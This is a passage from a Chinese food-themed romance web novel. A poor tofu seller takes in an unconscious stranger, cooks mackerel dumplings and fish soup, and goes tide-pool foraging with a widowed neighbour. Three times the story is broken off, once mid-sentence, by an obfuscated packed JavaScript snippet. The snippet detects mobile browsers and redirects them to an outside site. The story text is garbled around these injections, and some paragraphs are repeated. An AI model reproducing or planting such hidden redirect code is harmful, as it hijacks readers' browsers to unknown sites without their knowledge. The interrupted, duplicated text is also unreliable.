《路边的夫君不要捡（美食）》 1. 天降黑炭 深夜，宁静的小山村忽然传来一声异响。 巨大的爆破声震得火炕上的卫菱唰地一下翻了个身。 滚滚黑烟在橙黄色的火光衬托下，在漆黑的夜里变得格外显眼。 睡梦中被吵醒的村民出屋一看，可不得了，起山火了。 赶紧回屋穿戴整齐，准备上山救火。 然而，还不等他们行动，天上毫无征兆的劈下一道响雷。 随后雨点应声而下。 没一会儿的功夫，那点火光便消失不见。 村庄再次回归平静。 卫菱卷着被子，再度翻了个身。 睡梦中，呓语几句，复又沉沉睡下。 “咯咯~咯~” 鸡鸣刚过，卫菱把装好货物的平板车推到院门口。 她打开门，正欲推车去集市，便被门口的一坨“黑炭”吓得跌坐在了门槛上。 “啊！” 卫菱手捂着嘴，哼哧哼哧地喘着大气。 她探头，东望望，西瞧瞧。 等了好半天，也不见一个活人。 于是，卫菱撑着门框，强站起身，托着软掉的腿，一步步挪回院子里，拾了根烧火的木柴握在手里，壮着胆子回到门口。 “你……你……是人，还是……鬼……啊~” 卫菱用棍子随意戳了那块“黑炭”几下，阴差阳错，竟把黑炭翻了个身。 昨夜下了好急的一场雨，是以黑炭周围就算有血迹，也早就被冲刷干净。 黑炭面朝下的姿势被泡了一晚上，估计就算是个活人也早没命了。 想到这，卫菱看看手里的棍子，咽了咽口水。 随后，她一把将棍子扔回院里。跌跌撞撞朝村长家跑去。 “村长！出事了！村长！” ========= 卫菱一脸哀怨地坐在院里的小板凳上，用调羹搅动着碗里的豆浆。 热气裹挟醇厚豆香，轻啜一口，温润口感顺着喉咙滑下，暖意直达胃部。 若是再加些糖便好了。 甜味不疾不徐、柔和地包裹着豆香，原本淡雅的口感顿时就变得丰富了起来。 可惜，她买不起糖。 卫菱长长叹了口气，将调羹捏握在碗边沿上，吨吨吨几口便喝光了。 已经因为牛棚里那家伙耽误了早市的生意，要是再不出门，要是再不出门，厨房里那几板豆腐怕是也要跟着砸手里，血本无归。 山路满是泥泞，车轮陷进去又拔出，每一步都艰难无比。今日的车也比往日沉些，卫菱把早上没来得及去卖的豆浆也捎上了。 等她心急火燎地赶到集市，日头已然西斜，将近未时了，一个半时辰后，就要到散市的时间。 她不敢有丝毫耽搁，手脚麻利得像一阵风，三两下就把车上的豆腐、豆浆等物件，一件接一件稳稳当当地摆好 好在平日里积攒下不少熟客，这些老主顾一瞧见卫菱的摊位，就纷纷围拢过来。 再加上这豆腐在这个时候也是个新鲜东西，模样白嫩、口感嫩滑，也就一炷香的工夫，摊位前人头攒动，卫菱的货物就卖出了一大半，她脸上也露出了欣慰的笑容。 吆喝叫卖的口干舌燥，卫菱给自己舀了碗豆浆。 她刚抿了一口豆浆含在嘴里，醇厚的豆香才在舌尖散开，还没等咽下，便瞧见徐家那位负责采买的市掾王富，正朝着她的小摊径直走来。 “小卫女早上没来，我还寻思着今儿买不着你家的好货喽！” 谈笑间，他绿豆大的眼睛往卫菱的小摊一扫，豆腐还剩多少、豆浆还余几桶，心里便有数了。 卫菱赶忙笑着回应：“家中突然有事，耽搁了些功夫。不过您放心，这豆浆可都是今早刚磨的，新鲜得很，您尝尝？” 她边说着，边盛了满满一碗豆浆，也不等对方搭话，就热情地递了过去。 王富嘴角微微上扬，露出一抹会心的笑意，抬手稳稳接过豆浆。 他暗自思忖，小卫女真是懂事，做事也周到。 上次他买了小卫女的豆腐回去，徐家夫人尝过后赞不绝口，还额外赏了他六个刀币。 眼瞧着明日徐家要举办盛大的百花宴，夫人特意点名，务必让他备足小卫女家的豆腐，可不能误了宴上的佳肴。 王富脸上闪过一丝不易察觉的狡黠，旋即佯装为难，眉头轻轻皱起，开口道：“小卫女，我家主母对您家的豆腐可是赞不绝口，特意点名要呢。只是我一路逛来，这钱也花得七七八八了……”他的话语拖得悠长，带着几分试探。 卫菱本一听这话，瞬间心领神会。 她脸上笑意盈盈，连忙说道：“巧了，我这豆腐还剩一板半，豆浆也还有半桶。您要是全收了，我给您个实实在在的特价，一个齐大刀，您看成不？” 王富眼中闪过一丝满意，伸手从袖囊里掏出钱袋子，手指熟练地在里面拨弄着铜钱，不多时，便将钱稳稳地放在了卫菱摊前。 卫菱笑得见牙不见眼，将货品稳稳地交到王富的小厮手中。 千恩万谢、好一番相送，才把王富等人打发走。 她颠了颠手里的钱包，感受手心里沉甸甸的重量，她的眉眼间尽是得意。 等他们把车和工具送回来还要一段时间，卫菱心里琢磨着，反正闲着也是闲着，不如趁着这功夫逛逛晚集，说不定能捡个大便宜。 可没一会儿，卫菱就拎着药材包，一脸肉疼地从药房走了出来。今天辛辛苦苦赚的大半银钱，还没在手里焐热乎，就这么送出去了。 一想到这儿，卫菱只觉得胸口像堵了块大石头，烦闷不已。要不是平日里多得村长关照，她是无论如何也不会收留那个如今住在自家牛棚里的黑炭！ 齐国靠海，是以百姓多以水产为食。 瞧那新鲜的鲅鱼，体表泛着迷人的银蓝光泽，背部呈深邃的蓝黑色，上面还星星点点地散布着细碎斑点，任谁看了，都觉得这是煲汤、包饺子或是晒鱼干的绝佳食材。 卫菱蹲在鱼摊前，眼睛直勾勾地盯着那条鲅鱼，那眼神仿佛要在鱼身上剜出两个洞来。 “我说小娘子，你要买便买，不买少耽误我做生意。”摊主皱着眉头，一脸不耐烦地说道。 即便被嫌弃了，卫菱也丝毫不生气。她脸上立刻堆起讨好的笑容，伸出手指向那条鲅鱼，软声说道：“老板，您看这条鱼，能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500528|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能便宜点儿卖给我呀？” 卫菱今天已经为那个黑炭花了太多银钱，所以，哪怕磨破嘴皮子，她也铁了心要以最少的价格把这条肥美的鲅鱼拿下。 于是，她开启了软磨硬泡模式，又是卖惨，又是讲价，几乎使出了浑身解数。摊主被她缠得实在没了耐心，最终不耐烦地摆了摆手，同意以20铜币的价格把鱼卖给她。 卫菱高兴得差点跳起来，可这好心情没能持续多久。王富给她的那枚齐小刀，眼瞅着就要花出去了，不仅如此，她还得再额外掏出十枚铜币。想到这儿，卫菱忍不住长长地叹了口气：“哎！” ========= 卫菱哼着轻快的小曲儿，费了些力气，将小推车稳稳推进院内，安置到牛棚里。 她卸下车上的物件，目光不经意间扫向躺在一旁的家伙。 跟她出门前一样。 卫菱嘴角微微一撇，没再多想，便开始动手搬东西。那些用来售卖的木桶和木架，被她随手丢进木盆里，打算晚点再清洗。 她伸手掐了掐早上就泡上的豆子，软硬度刚刚好，今晚磨豆子正合适。 抬眼望去，日头渐渐下落，天色也越来越暗。卫菱随手将买来的鲅鱼扔到盆里，抄起菜刀便出了门。 来到河边，卫菱笑着和附近洗衣做饭的大婶们热络地寒暄了几句，寻了个空闲的地方，放下东西。 她捧起河水，简单洗了洗手。 紧接着，她拿起菜刀，用刀背熟练地刮起鱼鳞，沙沙作响的同时，银鳞飞溅。而后，刀刃沿着鱼腹利落划开，她探出手，迅速掏出内脏。 等手上和鱼腹中的血水都清洗干净，她高高举起菜刀，“笃”的一声，干净利落地剁下鱼头。然后，她沿着鱼脊，将鱼一分为二，动作行云流水。随后，又把半条鱼从中切开，再次分成两半。 这鱼可不便宜，她可没打算一顿就吃完，得省着点儿，多吃几顿呢。 卫菱再次踏入小院时，夜幕已彻底笼罩大地。 兴许是昨夜那场雨的缘故，今晚的月色格外澄澈，如水般的月光倾洒而下，将周遭照得亮堂堂的。 卫菱俯身从盆里捞出那条已被均匀分成两半的“半条”鲅鱼。 对于这梦中情鱼怎么吃，她心中早有盘算。 一半鱼肉用来剁馅包饺子，鲜嫩的鲅鱼肉混上初春的韭菜，想想就令人垂涎；另一半则和早上剩下的豆腐一起熬汤，鲜美的鱼汤除了喂给牛棚里那家伙，她也能跟着喝几口。 而木盆中剩下没动的那半条鱼，她打算趁着天气还没彻底回暖，赶紧晒成鱼干。鱼干既能长时间保存，日后想吃时，泡发后无论是煎炒还是蒸煮，都别有一番风味。 仔细算来，她已经快一个月没沾过肉腥了。 上一次尝到肉味，还是村长媳妇儿拉着她去山上挖野菜的时候。当时，两人在山林里迷了路，误打误撞走到山背后的村子，恰好碰上一户人家嫁女儿去城里做妾，正办着婚宴。她们运气好，跟着蹭了碗肉饼汤，碗里那点肉沫的滋味，至今还让卫菱回味无穷。 想到这儿，卫菱不自觉地吧嗒了下嘴，手上的动作也愈发麻利起来，满心期待着即将出锅的美味。 2. 鲅鱼饺子、鲅鱼豆腐汤 卫菱轻车熟路地走到橱柜前，费力地从深处挖出三小碗小麦粉。 眼下磨粉技术有限，这小麦粉里混着不少麦麸，颗粒粗细也不均匀，平日里大家都用它来做麦饼，可卫菱却打算用它来包饺子。 她往面粉里缓缓倒入清水，同时手持筷子，手腕匀速转动，搅着搅着，面粉渐渐聚成了絮状。接着，她挽起袖子，伸手将絮状面粉揉成了一个光滑的面团，面团在她手中翻滚，不一会儿就变得紧实又有弹性。揉好后，她顺手扯过一块湿布，轻轻盖在面团上，让它在一旁静静醒面，约莫一炷香就够了。 春日，正是韭菜生长的黄金季节。随着气温逐渐升高，充足的阳光和适宜的土壤使得韭菜迅速生长，叶片鲜嫩多汁。 卫菱走进院子里的小菜园，顺着垄沟割下一大把韭菜，又顺手拔了颗葱。 回到厨房，她坐在小板凳上，熟练地摘掉韭菜和葱的废根老叶，而后起身，从水缸里舀出两瓢水，将食材放在水盆里，仔仔细细地搓洗，去除上面附着的泥土，每一片叶子都被她洗得干干净净。 用来包饺子的那段鱼肉撕去鱼皮，用刀沿着鱼骨将鱼肉片下，剃下来的大块鱼骨也不扔，一会儿煲汤的时候加进去。不能浪费掉这提鲜的好材料。 刀起刀落，鱼肉逐渐变成细腻的鱼泥。 思来想去，卫菱咬咬牙，还是决定从家里仅剩的五颗鸡蛋里，拿一颗出来。 这五颗鸡蛋，可是她前些日子打算卖掉攒下一篮鸡蛋时，好不容易扣着省下来，留着解馋的 “难得吃顿好的，就一颗蛋，说不定明天老白就下蛋了呢。”她自我安慰道。 理论上该只放蛋清的，可瞧瞧这家里的条件，卫菱哪舍得这么“铺张浪费”，直接把整颗鸡蛋都打进了鱼泥里。 卫菱又往里加入适量的葱姜蒜和一点点盐，用筷子顺着一个方向搅拌。 接着，她又往鱼泥里加入适量的葱姜蒜，再撒上一点点盐，拿起筷子，顺着一个方向快速搅拌。等到鱼泥变得黏稠，筷子都难以搅动的时候，她往里加入少许清水，再次顺着一个方向搅拌起来。这么做，能让饺子馅更加嫩滑多汁。 切成小段的韭菜放入调好的鱼泥中轻轻翻拌混匀，鲅鱼肉的鲜美与韭菜的清香瞬间交融。 适才放在灶上的陶簋已经被火烧得滚烫，水迹在烈火的炙烤下发出“滋滋啦啦”的声响。卫菱见状，连忙用木匕小心翼翼地挖了一小块猪油下来，放入陶簋中。 奶白色的猪油一碰到热锅，迅速融化，瞬间激发出油脂独特的香味。紧接着，她丢入姜片、葱段，随着“噼里啪啦”的声响，香味愈发浓郁。趁着这股香味，她赶紧将鱼段和之前留着的鱼骨放入锅中。待鱼身煎至定型，她轻轻翻了个面，让鱼的两面都变成金黄。 煎好后，她往锅里加入足量的清水大火烧开后转小火慢炖。 趁着炖汤的间隙，卫菱把醒好的面团拿出来，揉成长长的一条，再用刀切成一个个大小均匀的剂子。她拿起擀面杖，将剂子擀成中间厚、边缘薄的饺子皮。每擀一下，饺子皮就在她手中旋转一圈，不一会儿，一张张圆润的饺子皮就摆满了案板。 卫菱取一张饺子皮放在手心，放上适量馅料，手指灵活地捏起褶子，轻轻一合，一个饱满圆润的鲅鱼韭菜饺子就诞生了，好似一件精美的艺术品。 随着时间推移，面盆里的饺子馅就全部变成了码在案板上圆滚滚的“白胖子”。 卫菱掀开陶簋的盖子，此时汤汁变得浓白，如同牛奶一般，散发着浓郁的鲜香。 她将锅里的鱼骨仔细地挑出来，确保挑干净后，才把切成小块的豆腐，放入锅中，继续炖煮，让豆腐充分吸收鱼汤的鲜美。最后，加入适量盐调味，再撒上翠绿的葱花和香菜，一锅热气腾腾、香气四溢的鲅鱼豆腐汤就大功告成。 卫菱蹲下身看看灶中火候，往里又添了些柴，另起一锅烧水煮饺子。 水开后把饺子轻轻放入锅中，饺子在沸水中翻滚，不一会儿，它们就一个个浮上水面。 又煮了会儿，饺子肚变得更透明了一些，隐约看到里面翠绿色的馅料，个体也比刚下锅时膨胀得更大一些，看起来更为饱满。 卫菱赶紧用木匕将其捞起来放在陶盘里，随后用厚布垫着锅耳，将两个陶簋从灶上拿下来，换上平素烧水用的釜。 此时，还没有酱油。 卫菱在小陶碗里倒了一点点醋，刚刚好能覆盖住碗底。 她用筷子挟起一只，蘸了一点点的醋后，递到嘴边。 热腾腾的饺子只轻轻咬了个口子，混着鲅鱼和韭菜的香气瞬间便在口中散开。 柔韧的饺子皮带着恰到好处的嚼劲，不软不硬，顺滑地在齿间展开。紧接着，鲜嫩弹牙的鲅鱼肉馅瞬间迸发，肉质细腻绵密，鲜美的汁水裹着韭菜的清香，中和了鱼肉的油腻。 太难得吃到一顿肉。 卫菱一口气吃了五六个，才将将停住筷子。 她端起碗，轻抿一口鲅鱼豆腐汤。 鱼肉几乎被熬碎了，浓郁鲜香的汤汁每一滴都浓缩着鲅鱼的精华。软嫩细腻的豆腐在舌尖轻轻一抿便散开汤汁四溢，软嫩的口感与鲜美的鱼汤完美融合。 酒足饭饱，卫菱只觉胃里暖烘烘的，周身也被暖意包裹，仿佛一天的疲惫都在这场酣畅淋漓的味觉盛宴里烟消云散。 她把待清洗的厨具归拢到一处，随后将从药房取来的药材倒入药罐，点火煎煮。做完这些，卫菱手持木匕，盛出一小碗鲜美的鱼汤，端着朝牛棚走去。 白日里，村长等人将他扶进来的时候，好心的大娘给这黑炭擦洗过。 此时，卫菱借着月色，瞧见黑炭的面容，心里不禁感叹，这人长得确实俊朗。不过，转瞬她又想，要是他能把花出去的钱还给自己，那可就更完美了。 卫菱叹息着，将手里的碗放在一旁。 卫菱轻叹了一声，将手中的碗搁在一旁，俯身抓住黑炭的胳膊，一使劲儿，把他的上半身拎起来，让他靠坐在墙边。待他坐稳后，卫菱端起碗，用木匕轻轻撬开黑炭紧闭的嘴，一点一点地将鱼汤缓缓灌进去。 才灌了小半碗，黑炭紧闭的眼珠突然咕噜噜地转动起来，像是即将苏醒的征兆。卫菱赶忙停下手中动作，目不转睛地仔细观察了好一会儿。见他又没了动静，这才继续喂起来。 可刚喂了一小勺，黑炭的睫毛便忽闪了几下，竟然缓缓睁开了眼睛。两人四目相对，卫菱一下子慌了神，脑袋里一片空白，完全不知道该如何打破这尴尬的僵局。 黑炭的视线慢慢下移，最后定格在卫菱手中的小碗上。 就在下一秒，他猛地伸出手，从卫菱手里夺过碗，仰起脖子，“咕嘟咕嘟”一口气就把鱼汤喝了个精光。他意犹未尽地吸溜着碗沿，直到再也尝不出一丝鱼汤的鲜味，才又目光灼灼地看向卫菱。 “得，好歹是醒了。”卫菱暗自思忖。 能活下来，就能还钱！这么想着，她伸手去拿黑炭手里的空碗。没想到这小子攥得死死的，她头一回用力，竟没拽动。 “还要。”黑炭开口说道，声音沙哑却透着股执拗。 “呦，还会说话啊！”卫菱强压下内心的惊讶，道：“我去给你再盛一碗来。” 她起身往厨房走，没曾想，早上还不会动的黑炭，这时候，竟然跟着她一起走了过去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500529|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卫菱故意慢下脚步，眯着眼睛盯着他的动作。 得，她现在是确认了，这小子是一点毛病没有！她不禁琢磨起来，明天去药房，那两包还没拆封的药材，不知道能不能退掉。 就在卫菱内心活动翻江倒海之际，黑炭已经风卷残云般把整罐鱼汤喝了个底朝天。卫菱看着空空如也的罐子，眉头紧紧拧成了个疙瘩，心里直犯嘀咕：“这人是饿死鬼投胎吧，怎么跟猪似的这么能吃！” 还没等她组织好语言，找黑炭讨要那笔钱，突然，一道红色预警在卫菱脑海中炸开——这小子竟然伸手要去碰她的饺子！ 卫菱下意识地抬手，“啪”的一声，重重地打开了黑炭的手。。 ========= “唉！”这已经是卫菱今晚第41次叹气了。 终究还是心软了。那些饺子本是她留着明早吃的，结果现在…… 全进了这小子的肚子。卫菱满心无奈，暗自感叹：“真是便宜他了！” 就在卫菱心里暗暗抱怨的这会儿工夫，黑炭好似那蝗虫过境丰收的麦田，又像饿极了的疯狗瞧见满满当当的食盆，将饺子连汤带水吃得一干二净。 吃完后，他还意犹未尽地吸溜着碗，那碗被舔得干净得几乎都不需要再清洗，而后他的目光贼溜溜地瞄向案板。直到确认案板上再也看不到一丁点食物的影子，他才恋恋不舍地放下碗，直勾勾地盯着卫菱。 “你……能说话吗？” 卫菱思索了好一会儿，最终还是忍不住问出了口。毕竟从这小子醒来直到现在，她都没听他说过一个字，该不会是个哑巴吧！ 黑炭眨了眨眼睛，在卫菱那充满探究的目光注视下，缓缓点了点头。 得！这可真是让人没辙，卫菱毫不掩饰地冲黑炭翻了个白眼，以此来表达自己内心的极度无语。 “敢问郎君高姓大名，家住何处？又因何晕倒在我家门前？” 黑炭闻言，眼珠一下子垂向地面，滴溜溜地转了几圈，沉默了好一阵子才开口说道：“在下只记得脑后挨了山匪一闷棍，再睁眼便看见娘子，眼下除了记得自己叫徐子烈外，脑子昏昏，什么都想不起来了。” 什么！ 这话犹如晴天霹雳，卫菱只觉得天都要塌下来了。 她简直想破口大骂，这个杀千刀的混蛋，不仅身无分文，而且自己给他花出去的银子也铁定是还不上了！ 卫菱捏紧拳头，气得呼呼直喘粗气。这事完全经不起细琢磨，越想越让人生气。 她倒也是个行动派，半点不拖沓。 她猛地伸出手，死死掐住徐子烈的手臂，拽着他就往门外走去，嘴里还骂骂咧咧道：“滚！滚！滚！早上因为你耽搁的生意，老娘下午也挣回来了。给你抓药、施舍你饭食的钱，老娘就当是日行一善，不跟你计较了。但我家这庙小，断断是容不得你这尊大菩萨的！你现下胳膊腿康健，大路朝天，你打哪来打哪去就是！” 她的手掐住徐子烈的手臂，抓着他就往门外赶。 “滚滚滚，早上因你耽误的生意，老娘自己个下午也赚回来了。给你抓药、施舍的这饭钱和药钱，老娘就当日行一善也便不计较了。但我家这庙小，断断是容不得你这尊大菩萨的！你现下胳膊腿康健，大路朝天，你打哪来打哪去就是！” 徐子烈也不知道是被吓傻了，还是一时没反应过来，一时间竟忘了反抗，就这么被卫菱硬生生推出了院门。 等他回过神来，正想开口为自己辩解几句时，“砰”的一声，那扇木门就在他面前重重地关上了。 哎！徐子烈无奈地长叹一口气，满心的委屈：就不能好好商量商量吗？ 3. 退大潮去赶海 夜半，卫菱在生物钟的支配下，迷迷瞪瞪地从床榻上坐了起来。 此时，无论窗外还是屋内，都是伸手不见五指的黑，正是好梦的时候。 嘀嗒。 铜漏的水声令卫菱打了个冷颤。 随后，她七手八脚把衣服裹在身上，便急急忙忙往外间跑。 人有三急，她正有其中一急。 初春的天，即使井水在屋里放了一整宿，也是冰冷刺骨的。 但这份寒意又让卫菱的瞌睡淡了不少。 天色尚暗，为了省点烛火钱，卫菱只燃了偏房的油灯。 昏黄的灯光，虽不明亮，但对于磨豆子来说，足矣。 卫菱将磨盘等工具收拾好，便去厨房把豆子拎了过来。 葫芦瓢舀起圆润饱满的黄豆，混着清水，顺着磨盘上的小孔缓缓加进去。 最初，磨盘还比较涩。 需要花很大的力气才能让豆子顺利滚落到磨盘的缝隙中，被石碾充分研磨。 待豆子破碎，油脂混着乳白色的裂解物分布在粗糙的石面上，减缓掉摩擦力后，磨盘开始顺畅的一圈圈轮转起来。 昨晚去河边洗菜的时候，村东头的李寡妇偷偷跟卫菱说，今早海边会退大潮，招呼了她一起去捞点“大海的馈赠”。 卫菱想着，每天起早贪黑，勤勤恳恳卖豆腐，也换不来顿顿有肉腥的日子，也不差这一天早市的生意，便应了李寡妇的邀请。 豆子只磨了一桶，便足够今天要贩卖的豆腐量了。 卫菱松开石磨的把手，左手捏了捏右侧肩颈的斜方肌，用力甩着右臂。 胳膊痛地简直不是她自己的了。 她端起碗，喝了点水。 来不及休息，卫菱便开始生火，需要把生浆抓紧煮熟，留出一桶豆浆温着，其余用调配好的石膏水点卤，再用模具压制成型。 第一声鸡鸣的时候，天色泛起鱼肚白。 卫菱把手里剩的小半块豆渣饼囫囵塞进嘴里，就着原味热豆浆往胃里顺。 要不是那黑炭把她的鲅鱼饺子都吃了，她何以吃这个！ 嘴里无味又梆硬的饼子突然就变得更加噎人。 “诶呦，俺嘞娘嘞！” 门外突然传来李寡妇的声音。 卫菱紧忙端起碗，把剩余的豆浆闷进嘴里。然后检查了一下模具的严密性，端起脚边的篮子朝门口走去。 “来啦，来啦……啊~！” 卫菱打开木门的刹那，吓得整个人都抖了一哆嗦。 难怪刚才听见李寡妇的惊呼。 她还寻思，是李寡妇嫌她动作慢。 谁曾想，她也是跟卫菱一样，被门口的黑炭吓到了。 虽说，那黑炭有几分姿色。 但卫菱跟他大眼瞪小眼时，分明从他的眼神中看出了他想赖在她家的企图。 于是，卫菱干脆利索地当着他的面，锁上门，挎着李寡妇的胳膊快步离开。 没钱，还想吃白食？ 做梦！ 冬季出海，危险太大，是以大部分渔民都选择休养生息，另谋生路。 经过漫长的修养，海资源显得极其丰富。 海浪退去，大片的海滩裸露在她们面前。 礁石上密密麻麻附着满满当当的牡蛎。 卫菱蹲在石头上，握紧特制的小木锤，在牡蛎壳上连续敲击。 没敲几下，坚固的壳便突然滑落，露出里面肥美白嫩的牡蛎肉。 卫菱从篮子里拿出木钵，接在贴紧礁石的另一片牡蛎壳上，小木锤顶端的钉子尖一拨，肉就滑入钵中。 她趁热打铁，辗转在礁石之间，也就差不多两炷香的功夫，篮中的两个木钵都被牡蛎肉塞得满满当当，好像轻轻摇晃就会溢出来似得。 卫菱挪了挪木钵的位置，确保劳动成果不会被打翻后，她朝李寡妇招手的位置走去。 这些日子，风大得能掀起快一人高的浪。 所以不少海里的生物都被送上海岸搁浅。 李寡妇虽然在姻缘上福分浅薄了些，但其他方面还是很有运势的。 她竟然发现了一窝八爪鱼！ 不是一条，两条。 像是一整个家族被连窝端的那种。 大家都不容易，要不然也不会为了打牙祭，顶着刺骨海风，淌着冰冷的海水来这里捞海货。 卫菱也不想占李寡妇便宜，只赞叹了几句，压根没想分一杯羹，朝李寡妇身后走去。 那有两大片翠绿的海带。 为了多捞好东西，卫菱把它整齐叠好，压在篮底。 叠第二片的时候，一个举着两个大钳子的家伙，在她面前张牙舞爪、大摇大摆地走了过去。 卫菱盯住了它消失的位置，突然觉得那块石头下，似乎有什么宝藏在召唤她过去。 “李阿嫂，这底下好像有东西，帮我一下。” 李寡妇闻言，加快手上动作，从石头上撬下最后一颗牡蛎肉，走了过来。 那块石头常年浸泡在海水里，沉得出奇。 卫菱和李寡妇二人合力，试了半天才搬起来。 在见到光明的那一刻，螃蟹们惊地四处乱窜。 李寡妇手疾眼快，一榔头，一榔头锄下去，不少都被拍懵在了原地。 卫菱有样学样，也敲晕了不少。 李寡妇也是实诚人，这螃蟹可是难得在岸边就捞得到这么多。 于是，她也不吝啬，从框里挑了两条八爪鱼塞进了卫菱的篮子里。 推辞了几番，没扭过李寡妇的好意，卫菱只好收下，想着一会儿发现什么好东西也分给李寡妇一份。 翻滚的碧色海浪上，一轮炙热的圆日高悬在苍穹。 卫菱带来的篮筐装得已无一点多余的地方了。 “李阿嫂。” 她直起身，扭头四处搜寻李寡妇的身影。 “诶，来了。” 李寡妇闻声，支应了一下。 随后，她复又蹲了下去，把篮子里的东西压了压，又往里塞了几把海麻线。 待到竹筐连这海菜都负荷不住，这才收拾东西朝卫菱这走。 退下去的浪花随着时间流逝，悄悄涨回来不少。 卫菱二人带着沉甸甸的“财富”回家时，遇见了不少熟人。 大家都是筐筐篓篓地拾了不少。 李寡妇以为卫菱今日不出摊，还问了她家中是否有剩余的豆腐。 卫菱听罢，便邀她进家里喝口水。 隔着老远，卫菱的眼睛就盯着自家大门开始仔细打量。 直到从拿出钥匙准备开门，她也没能放下戒心。 没在？ 莫不是走了？ 卫菱眼珠转了转，瞥了瞥嘴。 那些药钱就当她日行一善了。 她招呼李寡妇在坐下，给她倒了碗热水。 随后卫菱把篮子放在厨房边，净手后，掀开了压制豆腐的模具。 在重物的作用下，大多数的水分从豆腐里流出，此刻白嫩的豆腐已然成型。 卫菱用刀沿着木头夹子印着的痕迹，切了三大块豆腐码在大碗里，端了出去。 豆腐不是什么值钱的东西。 但是李寡妇知道，卫菱从事这个行当有多辛苦。 急忙要给卫菱塞钱。 奈何为了去赶海，她全身上下比脸都干净，什么都没带。 李寡妇这人，刻薄的名声在全村都是出名的。 但她待卫菱极好。 平日也没少照顾她。 送完李寡妇，天色已经不早了，卫菱得赶紧换身衣服去集市了。 她进屋前，把篮子里的东西一一拿出，放进深口的大木盆里，倒上满满的水，让这些海货吐吐沙。 豆腐做得少，加上等着买卫菱豆浆的主顾一直候着她。 卫菱推车还没到出摊的地方，就被大家团团围住。 有来晚的，更是什么都没买着。 卫菱笑吟吟地颠了颠荷包，沉重的手感令她笑得见牙不见眼。 她抬起头看了眼日头。 瞧着，像是午时偏过。 卫菱从凌晨忙至现在，早上吃得豆渣饼早被消化掉了。 她给自己倒了碗水，边喝边收拾东西准备回去。 “听说了嘛，徐家那小公子好像被妖怪抓走了。” “胡说，青天白日，哪来的妖怪！” “你还不信，据说那小公子被狐妖大人看上，夜半给掳走去做压寨夫君了。” “有这事！” “徐司徒那么大一官，都救不了自己儿子？” “他是人间官员，又不是妖的，难不成他还能让狐妖大人放人？要是他有这本事，徐小公子也不会被掳走啊！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500530|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 卫菱侧头，努力抻着耳朵偷听过路人聊得八卦。 妖？ 她抿了口水含在嘴里，蹙起眉头。 若是之前，卫菱听了这话，定要讽刺这些愚民蠢笨。 但是经历了一些难以解释的事情后，她现在觉得，这定是徐家小公子生得太好看了，入了狐妖大人的法眼。 正午左右，是最招阴邪的。她加快速度，收拾完东西，拉着推车往家里赶。 村头，李寡妇坐在树底的石头上，时不时朝卫菱来的方向张望。 一看见卫菱，她便紧着迎了过来。 “你这孩子真是个能吃苦的。” 李寡妇见卫菱早上跟她去赶海，还以为今天她便不出摊了。 谁料，她做好饭，去喊卫菱来家里一起吃的时候，才发现卫菱早去集市了。 她也不知卫菱什么时辰收摊。只好回家吃完饭，来村口守着她。 知道是特意守着自己的，卫菱的心里有种暖暖的感觉。 她要推辞的话到了嘴边，一对上李寡妇的眼神，又咽了回去。 李寡妇并没比卫菱大很多，但是她就是在李寡妇身上感受到了属于妈妈般的温暖。 早上李寡妇拿走的豆腐，此刻跟生蚝组合在一起。 一看生蚝肉的量，卫菱就知道，李寡妇肯定没吃多少，大半都给自己留着呢。 她端起豆饭，当着李寡妇的面，第一筷子就挟了块较小的蚝肉盖在饭上，咬了一小口。 海水里的生物，本身就带着淡淡的咸味。 蚝肉极鲜，食材原汁原味的鲜美中，又隐约能感受到豆子的醇香。 卫菱想到中午收摊的时候，听见的趣事，边吃边跟李寡妇聊了起来。 李寡妇听的津津有味，注意力全然不在卫菱吃饭上。 还端来了箩筐，边做些绣活，边聊。 卫菱见目的达到，后续便也正大光明地挑着碗里的豆腐吃。 直到一碗豆饭全被吃光，李寡妇才注意到菜里剩的全是生蚝，哪还有豆腐。 “你……”，李寡妇嗔了一下，随后又笑道：“你这孩子。” 她摇摇头，略显无奈。 余光中，李寡妇瞥见远处山上的树，忽然想到在村口等卫菱时，看到三三两两的小娘子结伴从山上采蘑菇回来。 “你下午去采蘑菇不？” “啊？” ========= 卫菱拎着李寡妇家的篮筐，屁颠屁颠地跟在李寡妇身后。 说实话，她现在又累又困。 她也不知道，是李寡妇的那句“这下过雨的蘑菇又鲜又美”刺激到了她，还是那句“村南边张大娘攒的一筐干蘑菇卖了整整53个铜币”刺激到了她。 总之，她拖着疲惫的身躯，跟李寡妇上山了。 采蘑菇的最佳时辰应该是早上，但前些日子的暴雨，让山中的小精灵们肆意生长，使得她们这种晚起的鸟儿也有虫吃。 要说早上赶海，卫菱还能自己辨别哪些能吃，哪些不能。那现在她完完全全就是个睁眼瞎。 